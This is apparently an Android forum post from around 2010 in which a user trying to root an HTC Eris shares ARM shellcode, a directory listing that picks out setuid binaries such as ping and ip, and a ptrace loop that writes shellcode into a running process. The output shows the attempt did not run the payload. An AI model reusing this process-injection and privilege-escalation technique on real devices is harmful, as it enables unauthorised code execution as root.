[Click Android Development] jamezelle:
shellcode used

char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x20\x30\x8f\xe2" /* add r3, pc, #32 (0x20) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x0e\x20\xc3\xe5" /* strb r2, [r3, #14] */
"\x08\x30\x8f\xe2" /* add r3, pc, #8 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */
"\x08\x20\x8d\xe2" /* add r2, sp, #8 */
"\x0b\x0b\x90\xef" /* swi 0x900b0b */
"/data/local/hello"; /* very simple "hello, world" binary */

used Ping as the setuid (THIS FROM THE ERIS!)

jamezelle@jamezelle-laptop:~$ adb shell ls -l /system/bin
-rwxr-xr-x root shell 5304 2009-10-15 04:42 schedtest
-rwxr-xr-x root shell 9604 2009-12-18 22:27 PPST
-rwxr-xr-x root shell 201 2009-10-15 04:42 input
lrwxr-xr-x root shell 2009-10-15 04:42 notify -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 top -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 mkdir -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 printenv -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 setconsole -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 rmdir -> toolbox
-rwxr-xr-x root shell 30780 2009-10-15 04:42 mmcamera_test
lrwxr-xr-x root shell 2009-10-15 04:42 rm -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 chmod -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 umount -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 iftop -> toolbox
-rwxr-xr-x root shell 192 2009-10-15 04:42 svc
-rwxr-sr-x root inet 5616 2009-10-15 04:42 netcfg
-rwxr-xr-x root shell 9644 2009-10-15 04:42 dexopt
lrwxr-xr-x root shell 2009-10-15 04:42 ps -> toolbox
-rwxr-xr-x root shell 9584 2009-10-15 04:42 fbtool
-rwxr-xr-x root shell 64936 2009-10-15 04:42 wlan_loader
-rwxr-xr-x root shell 13804 2009-10-15 04:42 dsend
-rwxr-xr-x root shell 5412 2009-10-15 04:42 mediaserver
-rwxr-xr-x root shell 18892 2009-10-15 04:42 hciattach
-rwxr-xr-x root shell 9736 2009-10-15 04:42 logcat
-rwxr-xr-x root shell 25964 2009-10-15 04:42 akm8973
lrwxr-xr-x root shell 2009-10-15 04:42 schedtop -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 dd -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 renice -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 mount -> toolbox
-rwxr-xr-x root shell 5344 2009-10-15 04:42 keypress
-rwxr-xr-x root shell 194 2009-10-15 04:42 ime
lrwxr-xr-x root shell 2009-10-15 04:42 rmmod -> toolbox
-rwxr-xr-x root shell 9724 2009-10-15 04:42 dumpsys
-rwxr-xr-x root shell 46460 2009-10-15 04:42 sdptool
lrwxr-xr-x root shell 2009-10-15 04:42 kill -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 lsmod -> toolbox
-rwxr-xr-x root shell 9744 2009-10-15 04:42 netsharing
lrwxr-xr-x root shell 2009-10-15 04:42 ls -> toolbox
-rwxr-xr-x root shell 19408 2009-10-15 04:42 udhcpd
-rwxr-xr-x root shell 38560 2009-10-15 04:42 dosfsck
-rwxr-xr-x root shell 9732 2009-10-15 04:42 ssd_bma150_usr2
-rwxr-xr-x root shell 18028 2010-01-21 18:20 debuggerd
-rwxr-xr-x root shell 5376 2009-10-15 04:42 set_grp_id
-rwxr-xr-x root shell 9640 2009-10-15 04:42 flash_image
-rwxr-xr-x root shell 76784 2009-10-15 04:42 toolbox
-rwxr-xr-x root shell 109168 2009-10-15 04:42 iptables
-rwxr-xr-x root shell 121728 2009-10-15 04:42 dbus-daemon
lrwxr-xr-x root shell 2009-10-15 04:42 cmp -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 stop -> toolbox
-rwxr-sr-x root net_raw 26628 2009-10-15 04:42 ping
-rwxr-xr-x root shell 189 2009-10-15 04:42 am
lrwxr-xr-x root shell 2009-10-15 04:42 route -> toolbox
-rwxr-xr-x root shell 9672 2009-10-15 04:42 logwrapper
lrwxr-xr-x root shell 2009-10-15 04:42 start -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 watchprops -> toolbox
-rwxr-xr-x root shell 22676 2009-10-15 04:42 dmagent
-rwxr-xr-x root shell 14192 2009-10-15 04:42 dumpstate
-rwxr-xr-x root shell 5460 2009-10-15 04:42 dvz
lrwxr-xr-x root shell 2009-10-15 04:42 smd -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 vmstat -> toolbox
-rwxr-xr-x root shell 5312 2009-10-15 04:42 snd
-rwxr-xr-x root shell 5604 2009-10-15 04:42 rild
-rwxr-xr-x root shell 44536 2009-10-15 04:42 dhcpcd
-rwxr-xr-x root shell 5420 2009-10-15 04:42 dalvikvm
lrwxr-xr-x root shell 2009-10-15 04:42 mkdosfs -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 getprop -> toolbox
-rwxr-xr-x root shell 80552 2009-10-15 04:42 linker
lrwxr-xr-x root shell 2009-10-15 04:42 netstat -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 id -> toolbox
-rwxr-xr-x root shell 5332 2009-10-15 04:42 system_server
-rwxr-xr-x root shell 9580 2009-10-15 04:42 monitorMTD
-rwxr-xr-x root shell 5564 2009-10-15 04:42 app_process
lrwxr-xr-x root shell 2009-10-15 04:42 ioctl -> toolbox
-rwxr-xr-x root shell 9828 2009-10-15 04:42 servicemanager
lrwxr-xr-x root shell 2009-10-15 04:42 wipe -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 sleep -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 ttycom -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 df -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 mv -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 log -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 dumpcrash -> dumpstate
lrwxr-xr-x root shell 2009-10-15 04:42 getevent -> toolbox
-rwxr-xr-x root shell 5520 2009-10-15 04:42 mutex_tester
lrwxr-xr-x root shell 2009-10-15 04:42 ln -> toolbox
-rwxr-xr-x root shell 5144 2009-10-15 04:42 hcid
lrwxr-xr-x root shell 2009-10-15 04:42 bugreport -> dumpstate
lrwxr-xr-x root shell 2009-10-15 04:42 cat -> toolbox
-rwxr-xr-x root shell 86944 2009-10-15 04:42 sh
lrwxr-xr-x root shell 2009-10-15 04:42 insmod -> toolbox
-rwxr-xr-x root shell 43100 2009-10-15 04:42 vold
lrwxr-xr-x root shell 2009-10-15 04:42 sendevent -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 ifconfig -> toolbox
-rwxr-xr-x root shell 5424 2009-10-15 04:42 cam_ins_spmo
lrwxr-xr-x root shell 2009-10-15 04:42 sync -> toolbox
-rwxr-xr-x root shell 9560 2009-10-15 04:42 ssd_bma150_usr
-rwxr-xr-x root shell 14024 2009-10-15 04:42 installd
-rwxr-xr-x root shell 5340 2009-10-15 04:42 surfaceflinger
lrwxr-xr-x root shell 2009-10-15 04:42 setprop -> toolbox
-rwxr-xr-x root shell 5496 2009-10-15 04:42 gzip
-rwxr-xr-x root shell 13712 2009-10-15 04:42 sound
-rwxr-xr-x root shell 5472 2009-10-15 04:42 mscompress
-rwxr-xr-x root shell 1072464 2009-12-18 22:27 bts
-rwxr-xr-x root shell 9764 2009-10-15 04:42 service
-rwxr-xr-x root shell 191 2009-10-15 04:42 pm
lrwxr-xr-x root shell 2009-10-15 04:42 date -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 chown -> toolbox
lrwxr-xr-x root shell 2009-10-15 04:42 dmesg -> toolbox
-rwsr-sr-x root inet 130776 2009-10-15 04:42 ip
-rwsr-sr-x root shell 5500 2009-10-15 04:42 reboot
-rwxr-xr-x root shell 306048 2009-10-15 04:42 wpa_supplicant
-rwxr-xr-x root shell 205 2009-10-15 04:42 monkey
lrwxr-xr-x root shell 2009-10-15 04:42 hd -> toolbox
-rwxr-xr-x root shell 5412 2009-10-15 04:42 uevent

while loop: IS THIS COUNTING RIGHT?

while (i <= 61 + strlen(shellcode+61)){
ptrace(PTRACE_POKETEXT, child, eip, (int) *(int *) (shellcode + i));
printf("Wrote shellcode %x line %d\n", (shellcode + i), i);
i += 4;
eip += 4;
}

Outcome:

[ WIN! 5942
Wrote shellcode 9148 line 0
Wrote shellcode 914c line 4
Wrote shellcode 9150 line 8
Wrote shellcode 9154 line 12
Wrote shellcode 9158 line 16
Wrote shellcode 915c line 20
Wrote shellcode 9160 line 24
Wrote shellcode 9164 line 28
Wrote shellcode 9168 line 32
Wrote shellcode 916c line 36
Wrote shellcode 9170 line 40
Wrote shellcode 9174 line 44
Wrote shellcode 9178 line 48
Wrote shellcode 917c line 52
Wrote shellcode 9180 line 56
Wrote shellcode 9184 line 60
[ Overwritten 0xb0000100

It didnt execute the binary, so im obviously doing something wrong.:o any help is appriciated;) BTW zanfur your insight on this has been a great help. Thank You.

EDIT: also tried with ip, same output(not worth posting, also did not execute /data/local/hello)